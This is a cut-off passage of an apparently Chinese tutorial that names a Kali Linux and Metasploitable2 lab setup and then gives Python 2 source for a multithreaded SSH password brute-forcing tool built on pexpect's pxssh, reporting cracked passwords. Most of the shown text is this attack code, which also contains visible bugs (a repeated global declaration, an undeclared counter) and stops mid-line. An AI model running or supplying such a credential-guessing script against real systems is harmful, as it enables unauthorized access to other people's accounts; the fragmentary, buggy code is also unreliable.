首先准备好环境
1、虚拟机kali Linux、metasploitable2-linux。
pip install pexpect
---------------------------------------------------------
2、源码
#!/usr/bin/python
#coding: utf-8
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections=5
connection_lock = BoundedSemaphore(value=maxConnections)
Found=False
Fails=0
def connect(host,user,password,release):
global Found
global Found
try:
s=pxssh.pxssh()
s.login(host,user,password)
print'[+] Password Found:' + password
Found=True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails+=1
time.sleep(5)
connect(host,user,password,False)
elif 'synchronize with original pr